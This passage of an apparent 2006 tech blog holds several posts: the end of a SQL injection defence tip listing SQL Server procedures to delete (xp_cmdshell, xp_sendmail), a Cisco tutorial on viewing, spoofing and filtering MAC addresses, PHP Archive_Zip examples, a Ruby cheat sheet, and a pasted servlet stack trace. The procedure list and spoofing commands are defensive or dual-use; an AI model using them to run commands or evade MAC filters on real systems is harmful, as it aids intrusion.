For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

2 Comments





Cisco administration 101: Understanding Ethernet MAC addresses
October 14 2006 @ 02:13 AM

A MAC address can go by other names, including physical address (in Windows), Ethernet address, and hardware address. Whatever you call it, this address is a 12-character hexadecimal string. Here are some examples:

* 1234.5678.90ab
* 12-34-56-78-90-ab
* 12.34.56.78.90.ab

Determine your MAC address

In Windows, you can find out your MAC address using the ipconfig /all command. Listing A offers an example.

In the command's output, you can find the MAC address under the Physical Address listing. You can find out similar information from the switch this PC connects to using the show mac-address-table command. Here's an example:

Switch# show mac-address-table
Mac Address Table
-------------------------------------------

Vlan Mac Address Type Ports
---- ----------- -------- -----
All 0014.1c40.b080 STATIC CPU
All 0100.0ccc.cccc STATIC CPU
All 0100.0ccc.cccd STATIC CPU
All 0100.0cdd.dddd STATIC CPU
1 000f.1fd3.d85a DYNAMIC Fa0/14

On a Cisco router, you can find out which MAC addresses your interfaces use with the show interfaces command. Here's an example:

RouterB# show interfaces
Ethernet0/0 is up, line protocol is up
Hardware is AmdP2, address is 0003.e39b.9220 (bia 0003.e39b.9220)
Internet address is 1.1.1.1/8

On the second line of each interface, you'll see the hardware address line with the BIA (burned in address). In this case, the hardware address is 0003.e39b.9220.

Each Ethernet interface on a Cisco router has its own Ethernet MAC address. Special devices such as routers and switches have a number of special built-in addresses such as the four displayed above in the show mac-address-table output; these are the lines with the STATIC type listed.


Change my MAC address

Changing your MAC address from the default is what we call MAC spoofing. This term has a negative connotation because its more popular uses are for improper activities, particularly wireless network hacking. However, MAC spoofing does have legitimate uses, such as testing MAC filtering.

To change your MAC address on a Cisco router, use the mac-address command while in Interface Configuration Mode. Just use the command with the new MAC address—it's that simple. Here's an example:

RouterB# conf t
Enter configuration commands, one per line. End with CNTL/Z.
RouterB(config)# int e0/0
RouterB(config-if)# mac-address 0000.0000.0001
RouterB(config-if)#^Z
RouterB#
RouterB# show int e0/0
Ethernet0/0 is up, line protocol is up
Hardware is AmdP2, address is 0000.0000.0001 (bia 0003.e39b.9220)
Internet address is 1.1.1.1/8

After changing the MAC address, you can view the new one using the show interfacecommand.
Filter traffic based on MAC address

Let's say that, through a protocol analyzer, you find a device sending unwanted traffic on your network. It looks like this device is multi-homed—that is, it's sending traffic from multiple IP addresses.

You could find the switch port it's on using the show mac-address-table command and perform a shutdown on the port. But what if it connects to a hub with other devices or comes from some network not under your control?

Another option is to filter the traffic on the router or switch using a MAC address filter. Here's an example.

Cat3750Switch(config)# mac access-list ext filtermac
Cat3750Switch(config-ext-macl)# deny host 0000.0000.0001 any
Cat3750Switch(config-ext-macl)# permit any any
Cat3750Switch(config-ext-macl)# exit
Cat3750Switch(config)# int g1/0/40
Cat3750Switch(config-if)# mac access-group filtermac in

In this example—using a Cisco Catalyst 3750 Gigabit Ethernet switch—we created an extended named MAC address access control list called filtermac. This ACL denies all traffic with a source MAC address of 0000.0000.0001 and permits all other traffic. We then applied this MAC address ACL to Gigabit Ethernet interface 1/0/40, which prevents traffic from entering that port from any device with that MAC address, no matter what the IP address.

No Comments





Create ZIP archives on the fly with a PHP script and a PEAR class
October 14 2006 @ 02:08 AM

Creating ZIP archives

Let's begin with a simple example: dynamically creating a ZIP archive that contains a few other files. Start with the script in Listing A.

Listing A

include ('Archive/Zip.php'); // imports

$obj = new Archive_Zip('test.zip'); // name of zip file

$files = array('mystuff/ad.gif',
'mystuff/alcon.doc',
'mystuff/alcon.xls'); // files to store

if ($obj->create($files)) {
echo 'Created successfully!';
} else {
echo 'Error in file creation';
}
?>

This script is quite simple, but it's worth looking at it in detail:

1. Here, the first step is to create an instance of the Archive_Zip class, and initialize it with the path and name of the ZIP archive to be created. In this example, the archive is named test.zip and located in the current directory.
2. Next, an array is initialized to hold a list of all the files to be compressed, together with their disk locations; these locations may be specified in either absolute or relative terms, but a key consideration is that the script must have read privileges to on those files or disk locations.
3. Finally, the create() method is used to actually construct the archive by compressing and merging the named files. This method accepts the file list as input, and returns a Boolean value indicating whether or not the archive was successfully created. It's important to note that the script must have write privileges in the directory the file is being created in, or else the create() method will fail; this is a common error and one that trips up most new users.

Now, try running the script above, after modifying the source file list and destination file location to reflect your local system configuration. If all goes well, Archive_Zip should find the files you listed and compress them into a new ZIP archive named test.zip.
Viewing ZIP archive contents

What about looking inside an existing ZIP archive? Archive_Zip lets you do that too, via its listContent() method. Here's an example (Listing B):

Listing B

include ('Archive/Zip.php'); // imports

$obj = new Archive_Zip('test.zip'); // name of zip file

$files = $obj->listContent(); // array of file information

foreach ($files as $f) {
foreach ($f as $k => $v) {
echo "$k: $v\n";
}
echo "\n";
}
?>

The output of listContent() is a structured array of arrays, with each array element representing an individual file from the archive. Typically, each element holds information on the name of the corresponding file, its index position, its status, its size (both compressed and uncompressed) and its time of last modification. It's fairly easy to extract this information with a loop and re-format it to make it more presentable, as Listing B does. Here's a sample of the output (Listing C):

Listing C

filename: mystuff/alcon.xls
stored_filename: mystuff/alcon.xls
size: 113664
compressed_size: 35902
mtime: 1141996836
comment:
folder:
index: 0
status: ok
Adding new files to existing ZIP archives

An interesting feature of the Archive_Zip class is its ability to add new files to an existing archive via its add() method. To illustrate, let's go back to test.zip and try adding a new file to it (Listing D):

Listing D

include ('Archive/Zip.php'); // imports

if (file_exists('test.zip')) {
$obj = new Archive_Zip('test.zip'); // name of zip file
} else {
die('File does not exist');
}

$files = array('otherstuff/montecarlo.png'); // additional files to store

if ($obj->add($files)) {
echo 'Added successfully!';
} else {
echo 'Error in file addition';
}
?>

As you can see, the procedure to add a new file to an existing archive is very similar to that of creating a new archive: initialize a new Archive_Zip object pointing to the archive in question, create an array representing the list of files to be added, and pass this array to the add() method. Like create(), add()returns a Boolean signal indicating whether or not the addition succeeded. As before, a key issue to keep in mind involves privileges: remember to ensure that the script has appropriate privileges to read the source files and write the new compressed archive back to disk.
Deleting files from existing ZIP archives

Just as you can add files, so too can you delete files. The Archive_Zip class comes with a delete() method that lets you remove files from an existing archive. Listing E illustrates.

Listing E

include ('Archive/Zip.php'); // imports

if (file_exists('test.zip')) {
$obj = new Archive_Zip('test.zip'); // name of zip file
} else {
die('File does not exist');
}

$files = array('mystuff/ad.gif', 'otherstuff/montecarlo.png'); // files to delete

if ($obj->delete(array('by_name' => $files))) {
echo 'Deleted successfully!';
} else {
echo 'Error in file deletion';
}
?>

Here, an array of files to delete is created, and then passed to the delete() method. Note the special "by_name" argument in the call to delete(): this tells Archive_Zip to delete only those files with an exact name match. If the deletion is successful, the delete() method returns true.

In addition to this type of selective assassination, the delete() method also supports large-scale nuking of files matching a specified pattern or regular expression. Both Perl and PHP regular expressions are supported, using either the "by_ereg" or "by_preg" parameters. Listing F is an example, illustrating how this method can be used to delete all *.doc files from an archive using a Perl regular expression.

Listing F

include ('Archive/Zip.php'); // imports

if (file_exists('test.zip')) {
$obj = new Archive_Zip('test.zip'); // name of zip file
} else {
die('File does not exist');
}

if ($obj->delete(array('by_preg' => "/.*doc$/"))) { // all DOC files
echo 'Deleted successfully!';
} else {
echo 'Error in file deletion';
}
?>

1 Comment





View for each blog
October 09 2006 @ 11:50 PM

I have put a view for each blog, actually it is less than 9 hours from the time of writing this post, you can see how many hits I am getting on each post. My intention was to check in the hit stats for each post.

No Comments





Ruby Cheat Sheet
October 08 2006 @ 02:59 AM


Language
General Syntax Rules

* Comments start with a pound/sharp (#) character and go to EOL.
* Ruby programs are sequence of expressions.
* Each expression is delimited by semicolons(;) or newlines unless obviously incomplete (e.g. trailing '+').
* Backslashes at the end of line does not terminate expression.

Reserved words

alias and BEGIN begin break case class def defined
do else elsif END end ensure false for if
in module next nil not or redo rescue retry
return self super then true undef unless until when
while yield

Types

Basic types are numbers, strings, ranges, regexen, symbols, arrays, and hashes. Also included are files because they are used so often.
Numbers

123 1_234 123.45 1.2e-3 0xffff (hex) 0b01011 (binary) 0377 (octal)
?a ASCII character
?\C-a Control-a
?\M-a Meta-a
?\M-\C-a Meta-Control-a

Strings

In all of the %() cases below, you may use any matching characters or any single character for delimiters. %[], %!!, %@@, etc.

'no interpolation'
"#{interpolation}, and backslashes\n"
%q(no interpolation)
%Q(interpolation and backslashes)
%(interpolation and backslashes)
`echo command interpretation with interpolation and backslashes`
%x(echo command interpretation with interpolation and backslashes)

Backslashes

\t (tab), \n (newline), \r (carriage return), \f (form feed), \b
(backspace), \a (bell), \e (escape), \s (whitespace), \nnn (octal),
\xnn (hexadecimal), \cx (control x), \C-x (control x), \M-x (meta x),
\M-\C-x (meta control x)

Here Docs

< <<"identifier" - same thing
<<'identifier' - no interpolation
<<-identifier - you can indent the identifier by using "-" in front

Symbols

Internalized String. Guaranteed to be unique and quickly comparable. Ideal for hash keys. Symbols may not contain \0 or be empty.

:symbol => :symbol
:'#{"without"} interpolation' => :"#{"without"} interpolation"
:"#{"with"} interpolation" => :"with interpolation"
%s(#{"without"} interpolation) => :"#{"without"} interpolation"

Ranges

1..10
1...10
'a'..'z'
'a'...'z'
(1..10) === 5 => true
(1..10) === 10 => true
(1...10) === 10 => false
(1..10) === 15 => false

while gets # prints lines starting at 'start' and ending at 'end'
print if /start/../end/
end

class comparable
# ...
def <=>(rhs)
# ...
end
def succ
# ...
end
end
range = RangeThingy.new(lower_bound)..RangeThingy.new(upper_bound)

Regexen

/normal regex/iomx[neus]
%r|alternate form|

options:

/i case insensitive
/o only interpolate #{} blocks once
/m multiline mode - '.' will match newline
/x extended mode - whitespace is ignored
/[neus] encoding: none, EUC, UTF-8, SJIS, respectively

regex characters:

. any character except newline
[ ] any single character of set
[^ ] any single character NOT of set
* 0 or more previous regular expression
*? 0 or more previous regular expression(non greedy)
+ 1 or more previous regular expression
+? 1 or more previous regular expression(non greedy)
? 0 or 1 previous regular expression
| alternation
( ) grouping regular expressions
^ beginning of a line or string
$ end of a line or string
{m,n} at least m but most n previous regular expression
{m,n}? at least m but most n previous regular expression(non greedy)
\A beginning of a string
\b backspace(0x08)(inside[]only)
\B non-word boundary
\b word boundary(outside[]only)
\d digit, same as[0-9]
\D non-digit
\S non-whitespace character
\s whitespace character[ \t\n\r\f]
\W non-word character
\w word character[0-9A-Za-z_]
\z end of a string
\Z end of a string, or before newline at the end
(?# ) comment
(?: ) grouping without backreferences
(?= ) zero-width positive look-ahead assertion
(?! ) zero-width negative look-ahead assertion
(?ix-ix) turns on/off i/x options, localized in group if any.
(?ix-ix: ) turns on/off i/x options, localized in non-capturing group.

Arrays

[1, 2, 3]
%w(foo bar baz)
%W(foo bar baz #{var})

Indexes may be negative, and they index backwards (eg -1 is last element).
Hashes

{1=>2, 2=>4, 3=>6}
{ expr => expr...}

Files

Common methods include:

* File.join(p1, p2, ... pN) => "p1/p2/.../pN" platform independent paths
* File.new(path, modestring="r") => file
* File.new(path, modenum [, permnum]) => file
* File.open(fileName, aModeString="r") {|file| block} -> nil
* File.open(fileName [, aModeNum [, aPermNum ]]) {|file| block} -> nil
* IO.foreach(path, sepstring=$/) {|line| block}
* IO.readlines(path) => array

Mode Strings

r
Read-only, starts at beginning of file (default mode).
r+
Read-write, starts at beginning of file.
w
Write-only, truncates existing file to zero length or creates a new file for writing.
w+
Read-write, truncates existing file to zero length or creates a new file for reading and writing.
a
Write-only, starts at end of file if file exists, otherwise creates a new file for writing.
a+
Read-write, starts at end of file if file exists, otherwise creates a new file for reading and writing.
b
(DOS/Windows only) Binary file mode (may appear with any of the key letters listed above).

Variables

$global_variable
@@class_variable
@instance_variable
[OtherClass::]CONSTANT
local_variable

Pseudo variables

self the receiver of the current method
nil the sole instance of the Class NilClass(represents false)
true the sole instance of the Class TrueClass(typical true value)
false the sole instance of the Class FalseClass(represents false)
__FILE__ the current source file name.
__LINE__ the current line number in the source file.

Pre-defined variables

$! The exception information message set by 'raise'.
$@ Array of backtrace of the last exception thrown.
$& The string matched by the last successful pattern match in this scope.
$` The string to the left of the last successful match.
$' The string to the right of the last successful match.
$+ The last bracket matched by the last successful match.
$1 The Nth group of the last successful match. May be > 1.
$~ The information about the last match in the current scope.
$= The flag for case insensitive, nil by default.
$/ The input record separator, newline by default.
$\ The output record separator for the print and IO#write. Default is nil.
$, The output field separator for the print and Array#join.
$; The default separator for String#split.
$. The current input line number of the last file that was read.
$< The virtual concatenation file of the files given on command line.
$> The default output for print, printf. $stdout by default.
$_ The last input line of string by gets or readline.
$0 Contains the name of the script being executed. May be assignable.
$* Command line arguments given for the script sans args.
$$ The process number of the Ruby running this script.
$? The status of the last executed child process.
$: Load path for scripts and binary modules by load or require.
$" The array contains the module names loaded by require.
$DEBUG The status of the -d switch.
$FILENAME Current input file from $<. Same as $<.filename.
$LOAD_PATH The alias to the $:.
$stderr The current standard error output.
$stdin The current standard input.
$stdout The current standard output.
$VERBOSE The verbose flag, which is set by the -v switch.
$-0 The alias to $/.
$-a True if option -a is set. Read-only variable.
$-d The alias to $DEBUG.
$-F The alias to $;.
$-i In in-place-edit mode, this variable holds the extension, otherwise nil.
$-I The alias to $:.
$-l True if option -l is set. Read-only variable.
$-p True if option -p is set. Read-only variable.
$-v The alias to $VERBOSE.
$-w True if option -w is set.

Pre-defined global constants

TRUE The typical true value.
FALSE The false itself.
NIL The nil itself.
STDIN The standard input. The default value for $stdin.
STDOUT The standard output. The default value for $stdout.
STDERR The standard error output. The default value for $stderr.
ENV The hash contains current environment variables.
ARGF The alias to the $<.
ARGV The alias to the $*.
DATA The file object of the script, pointing just after __END__.
RUBY_VERSION The ruby version string (VERSION was deprecated).
RUBY_RELEASE_DATE The release date string.
RUBY_PLATFORM The platform identifier.

Expressions
Terms

Terms are expressions that may be a basic type (listed above), a shell command, variable reference, constant reference, or method invocation.
Operators and Precedence

(Top to bottom)
:: .
[]
**
-(unary) +(unary) ! ~
* / %
+ -
<< >>
&
| ^
> >= < <=
<=> == === != =~ !~
&&
||
.. ...
=(+=, -=...)
not
and or

All of the above are just methods except these:

=, ::, ., .., ..., !, not, &&, and, ||, or, !=, !~

In addition, assignment operators(+= etc.) are not user-definable.
Control Expressions

if bool-expr [then]
body
elsif bool-expr [then]
body
else
body
end

unless bool-expr [then]
body
else
body
end

expr if bool-expr
expr unless bool-expr

case target-expr
when comparison [, comparison]... [then]
body
when comparison [, comparison]... [then]
body
...
[else
body]
end

(comparisons may be regexen)

loop do
body
end

while bool-expr [do]
body
end

until bool-expr [do]
body
end

begin
body
end while bool-expr

begin
body
end until bool-expr

for name[, name]... in expr [do]
body
end

expr.each do | name[, name]... |
body
end

expr while bool-expr
expr until bool-expr

* break terminates loop immediately.
* redo immediately repeats w/o rerunning the condition.
* next starts the next iteration through the loop.
* retry restarts the loop, rerunning the condition.

Invoking a Method

Nearly everything available in a method invocation is optional, consequently the syntax is very difficult to follow. Here are some examples:

* method
* obj.method
* Class::method
* method(key1 => val1, key2 => val2)
o is one argument for def method(hash_arg) !
* method(arg1, *[arg2, arg3]) becomes: method(arg1, arg2, arg3)
* as ugly as you want it to be:
o method(arg1, key1 => val1, key2 => val2, *splat_arg) #{ block }

invocation := [receiver ('::' | '.')] name [ parameters ] [ block ]
parameters := ( [param]* [, hashlist] [*array] [&aProc] )
block := { blockbody } | do blockbody end

Defining a Class

Class names begin w/ capital character.

class Identifier [< superclass ]
expr..
end

# singleton classes, add methods to a single instance
class << obj
expr..
end

Defining a Module

module Identifier
expr..
end

Defining a Method

def method_name(arg_list, *list_expr, &block_expr)
expr..
end

# singleton method
def expr.identifier(arg_list, *list_expr, &block_expr)
expr..
end

* All items of the arg list, including parens, are optional.
* Arguments may have default values (name=expr).
* Method_name may be operators (see above).
* The method definitions can not be nested.
* Methods may override operators: .., |, ^, &, <=>, ==, ===, =~, >, >=, <, <=, +, -, *, /, %, **, <<, >>, ~, +@, -@, [], []= (2 args)

Access Restriction

* public - totally accessible.
* protected - accessible only by instances of class and direct descendants. Even through hasA relationships. (see below)
* private - accessible only by instances of class (must be called nekkid no "self." or anything else).

* Restriction used w/o arguments set the default access control.
* Used with arguments, sets the access of the named methods and constants.

class A
protected
def protected_method
# nothing
end
end
class B < A
public
def test_protected
myA = A.new
myA.protected_method
end
end
b = B.new.test_protected

Accessors

Class Module provides the following utility methods:

attr_reader [, ]...
Creates a read-only accessor for each .
attr_writer [, ]...
Creates a write-only accessor for each .
attr [, ]
Equivalent to "attr_reader ; attr_writer if "
attr_accessor [, ]...
Equivalent to "attr , TRUE" for each argument.

Aliasing

alias :new :old
alias_method :new, :old

Creates a new reference to whatever old referred to. old can be any existing method, operator, global. It may not be a local, instance, constant, or class variable.
Blocks, Closures, and Procs
Blocks/Closures

* blocks must follow a method invocation:

invocation do ... end
invocation { ... }

* Blocks remember their variable context, and are full closures.
* Blocks are invoked via yield and may be passed arguments.
* Brace form has higher precedence and will bind to the last parameter if invocation made w/o parens.
* do/end form has lower precedence and will bind to the invocation even without parens.

Proc Objects

Created via:

* Kernel#proc
* Proc#new
* By invoking a method w/ a block argument.

See class Proc for more information.
Exceptions, Catch, and Throw

* Exception
o NoMemoryError
o ScriptError
+ LoadError
+ NotImplementedError
+ SyntaxError
o SignalException
+ Interrupt
o StandardError (default for rescue)
+ ArgumentError
+ IOError
# EOFError
+ IndexError
+ LocalJumpError
+ NameError
# NoMethodError
+ RangeError
# FloatDomainError
+ RegexpError
+ RuntimeError (default for raise)
+ SecurityError
+ SystemCallError
# Errno::*
+ SystemStackError
+ ThreadError
+ TypeError
+ ZeroDivisionError
o SystemExit
o fatal

begin
expr..
[rescue [error_type [=> var],..]
expr..]..
[else
expr..]
[ensure
expr..]
end

Standard Library

Ruby comes with an extensive library of classes and modules. Some are built-in, and some are part of the standard library. You can distinguish the two by the fact that the built-in classes are in fact, built-in. There are no dot-rb files for them.
Built-in Library
Class Hierarchy

* Object
o Hash
o Symbol
o IO
+ File
o Continuation
o File::Stat
o Data
o NilClass
o Exception (see tree above)
o Array
o Proc
o String
o Numeric
+ Float
+ Integer
# Bignum
# Fixnum
o Regexp
o Thread
o Module
+ Class
o ThreadGroup
o Method
+ UnboundMethod
o Struct
+ Struct::Tms
o TrueClass
o Time
o Dir
o Binding
o Range
o MatchData
o FalseClass

Modules

* Comparable
* Enumerable
* Errno
* FileTest
* GC
* Kernel
* Marshal
* Math
* ObjectSpace
* Precision
* Process

Standard Library

The essentials:

* benchmark.rb a simple benchmarking utility
* cgi-lib.rb decode CGI data - simpler than cgi.rb
* cgi.rb CGI interaction
* date.rb date object (compatible)
* debug.rb ruby debugger
* delegate.rb delegate messages to other object
* English.rb access global variables by english names
* fileutils.rb file utility methods for copying, moving, removing, etc.
* find.rb traverse directory tree
* jcode.rb UTF-8 and Japanese String helpers (replaces String methods)
* net/*.rb Networking classes of all kinds
* observer.rb observer design pattern library (provides Observable)
* open-uri.rb good wrapper for net/http, net/https and net/ftp
* open3.rb open subprocess connection stdin/stdout/stderr
* ostruct.rb python style object (freeform assignment to instance vars)
* parsearg.rb argument parser using getopts
* pp prettier debugging output, 'p' on steroids.
* profile.rb ruby profiler - find that slow code!
* pstore.rb persistent object strage using marshal
* rexml/*.rb XML toolkit
* singleton.rb singleton design pattern library
* stringio lets you use an IO attached to a string.
* tempfile.rb temporary file that automatically removed
* test/unit unit testing framework
* time.rb extension to Time class with a lot of converters
* tracer.rb execution tracer
* webrick Fairly spiffy web server
* yaml alternative readable serialization format

Tools
ruby
Command Line Options

-0[octal] specify record separator (\0, if no argument).
-a autosplit mode with -n or -p (splits $_ into $F).
-c check syntax only.
-Cdirectory cd to directory, before executing your script.
--copyright print the copyright and exit.
-d set debugging flags (set $DEBUG to true).
-e 'command' one line of script. Several -e's allowed.
-F regexp split() pattern for autosplit (-a).
-h prints summary of the options.
-i[extension] edit ARGV files in place (make backup if extension supplied).
-Idirectory specify $LOAD_PATH directory (may be used more than once).
-Kkcode specifies KANJI (Japanese) code-set.
-l enable line ending processing.
-n assume 'while gets(); ... end' loop around your script.
-p assume loop like -n but print line also like sed.
-rlibrary require the library, before executing your script.
-s enable some switch parsing for switches after script name.
-S look for the script using PATH environment variable.
-T[level] turn on tainting checks.
-v print version number, then turn on verbose mode.
--version print the version and exit.
-w turn warnings on for your script.
-x[directory] strip off text before #! line and perhaps cd to directory.
-X directory causes Ruby to switch to the directory.
-y turns on compiler debug mode.

Environment Variables

DLN_LIBRARY_PATH Search path for dynamically loaded modules.
RUBYLIB Additional search paths.
RUBYLIB_PREFIX Add this prefix to each item in RUBYLIB. Windows only.
RUBYOPT Additional command line options.
RUBYPATH With -S, searches PATH, or this value for ruby programs.
RUBYSHELL Shell to use when spawning.

irb

irb [options] [script [args]]

The essential options are:

-d Sets $DEBUG to true. Same as "ruby -d ..."
-f Prevents the loading of ~/.irb.rc.
-h Get a full list of options.
-m Math mode. Overrides --inspect. Loads "mathn.rb".
-r module Loads a module. Same as "ruby -r module ..."
-v Prints the version and exits.
--inf-ruby-mode Turns on emacs support and turns off readline.
--inspect Turns on inspect mode. Default.
--noinspect Turns off inspect mode.
--noprompt Turns off the prompt.
--noreadline Turns off readline support.
--prompt Sets to one of 'default', 'xmp', 'simple', or 'inf-ruby'.
--readline Turns on readline support. Default.
--tracer Turns on trace mode.

Besides arbitrary ruby commands, the special commands are:

exit exits the current session, or the program
fork block forks and runs the given block
cb args changes to a secified binding
source file loads a ruby file into the session
irb [obj] starts a new session, with obj as self, if specified
conf[.key[= val]] access the configuration of the session
jobs lists the known sessions
fg session switches to the specifed session
kill session kills a specified session

Session may be specified via session#, thread-id, obj, or self.
xmp

require "irb/xmp"
xmp "something to eval" # or:
x = XMP.new
x.puts "something to eval"

ruby-mode

TODO: I don't have a freakin clue how to use the inferior ruby thing... I always fire up a shell in emacs... DOH!
Debugger

To invoke the debugger:

ruby -r debug ...

To use the debugger:

b[reak] [file:|class:] b[reak] [class.] set breakpoint to some position
wat[ch] expression set watchpoint to some expression
cat[ch] exception set catchpoint to an exception
b[reak] list breakpoints
cat[ch] show catchpoint
del[ete][ nnn] delete some or all breakpoints
disp[lay] expression add expression into display expression list
undisp[lay][ nnn] delete one particular or all display expressions
c[ont] run until program ends or hit breakpoint
s[tep][ nnn] step (into methods) one line or till line nnn
n[ext][ nnn] go over one line or till line nnn
w[here] display frames
f[rame] alias for where
l[ist][ (-|nn-mm)] list program, - lists backwards
nn-mm lists given lines
up[ nn] move to higher frame
down[ nn] move to lower frame
fin[ish] return to outer frame
tr[ace] (on|off) set trace mode of current thread
tr[ace] (on|off) all set trace mode of all threads
q[uit] exit from debugger
v[ar] g[lobal] show global variables
v[ar] l[ocal] show local variables
v[ar] i[nstance] object show instance variables of object
v[ar] c[onst] object show constants of object
m[ethod] i[nstance] obj show methods of object
m[ethod] class|module show instance methods of class or module
th[read] l[ist] list all threads
th[read] c[ur[rent]] show current thread
th[read] [sw[itch]] nnn switch thread context to nnn
th[read] stop nnn stop thread nnn
th[read] resume nnn resume thread nnn
p expression evaluate expression and print its value
h[elp] print this help
everything else evaluate
empty repeats the last command

rdoc

=begin
the everything between a line beginning with `=begin' and
that with `=end' will be skipped by the interpreter.
=end

FIX: there is a lot more to rdoc.
Mindshare, Idiom and Patterns
Object Design
Visitor Pattern

By defining the method #each and including Enumerable, you get to use all the methods in Enumerable:

class Mailbox
include Enumerable
# ...
def each
@mail.each do
# ...
yield
end
end
end

Class SimpleDelegator, DelegateClass

foo = Object.new
foo2 = SimpleDelegator.new(foo)
foo.hash == foo2.hash # => false
Foo = DelegateClass(Array)
class ExtArray ...
end

Module Observer

monitor.add_observer(self)
...
def update
...
notify_observers(data, ...)
end

Module Singleton

class Klass
include Singleton
# ...
end

a, b = Klass.instance, Klass.instance
a == b # => true
a.new # raises NoMethodError

Other Third-party Libraries
Racc

* See i.loveruby.net /en /man /racc

Test::Unit

* assert(boolean, message=nil)
* assert_block(message="assert_block failed.") do ... end
* assert_equal(expected, actual, message=nil)
* assert_in_delta(expected_float, actual_float, delta, message="")
* assert_instance_of(klass, object, message="")
* assert_kind_of(klass, object, message="")
* assert_match(pattern, string, message="")
* assert_nil(object, message="")
* assert_no_match(regexp, string, message="")
* assert_not_equal(expected, actual, message="")
* assert_not_nil(object, message="")
* assert_not_same(expected, actual, message="")
* assert_nothing_raised(*args)
* assert_nothing_thrown(message="") do ... end
* assert_operator(object1, operator, object2, message="")
* assert_raises(expected_exception_klass, message="") do ... end
* assert_respond_to(object, method, message="")
* assert_same(expected, actual, message="")
* assert_send(send_array, message="")
* assert_throws(expected_symbol, message="") do ... end
* flunk(message="Flunked")


13 Comments





dzone servlet exception catch
October 01 2006 @ 03:13 AM

500 Servlet Exception

org.apache.lucene.queryParser.ParseException: Encountered "" at line
1, column 43.
Was expecting one of:
"(" ...
...
...
...
...
"[" ...
"{" ...
...

at org.apache.lucene.queryParser.QueryParser.generateParseException(QueryParser.java:1226)
at org.apache.lucene.queryParser.QueryParser.jj_consume_token(QueryParser.java:1109)
at org.apache.lucene.queryParser.QueryParser.Clause(QueryParser.java:759)
at org.apache.lucene.queryParser.QueryParser.Query(QueryParser.java:712)
at org.apache.lucene.queryParser.QueryParser.parse(QueryParser.java:122)
at org.compass.core.lucene.engine.query.LuceneSearchEngineQueryStringBuilder.toQuery(LuceneSearchEngineQueryStringBuilder.java:79)
at org.compass.core.impl.DefaultCompassQueryBuilder$DefaultCompassQueryStringBuilder.toQuery(DefaultCompassQueryBuilder.java:163)
at org.compass.spring.web.mvc.CompassSearchController.buildQuery(CompassSearchController.java:166)
at org.compass.spring.web.mvc.CompassSearchController.performSearch(CompassSearchController.java:102)
at com.dz.controllers.SearchController.access$000(SearchController.java:36)
at com.dz.controllers.SearchController$1.doInCompass(SearchController.java:58)
at org.compass.core.CompassTemplate.execute(CompassTemplate.java:133)
at org.compass.core.CompassTemplate.execute(CompassTemplate.java:116)
at com.dz.controllers.SearchController.handle(SearchController.java:56)
at org.springframework.web.servlet.mvc.AbstractCommandController.handleRequestInternal(AbstractCommandController.java:82)
at org.springframework.web.servlet.mvc.AbstractController.handleRequest(AbstractController.java:153)
at sun.reflect.GeneratedMethodAccessor175.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:585)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:287)
at org.springframework.aop.framework.ReflectiveMethodInvocation.invokeJoinpoint(ReflectiveMethodInvocation.java:181)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:148)
at org.springframework.aop.framework.adapter.MethodBeforeAdviceInterceptor.invoke(MethodBeforeAdviceInterceptor.java:53)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:170)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:176)
at $Proxy14.handleRequest(Unknown Source)
at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:45)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:796)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:727)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:396)
at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:350)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:115)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:92)
at com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:106)
at com.dz.utils.filters.DZCharacterEncodingFilter.doFilterInternal(DZCharacterEncodingFilter.java:83)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:77)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.opensymphony.module.sitemesh.filter.PageFilter.parsePage(PageFilter.java:118)
at com.opensymphony.module.sitemesh.filter.PageFilter.doFilter(PageFilter.java:52)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.dz.utils.filters.WhosOnlineFilter.doFilter(WhosOnlineFilter.java:148)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:292)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:106)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:79)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:143)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.providers.anonymous.AnonymousProcessingFilter.doFilter(AnonymousProcessingFilter.java:138)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.rememberme.RememberMeProcessingFilter.doFilter(RememberMeProcessingFilter.java:174)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.AbstractProcessingFilter.doFilter(AbstractProcessingFilter.java:246)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.context.HttpSessionContextIntegrationFilter.doFilter(HttpSessionContextIntegrationFilter.java:156)
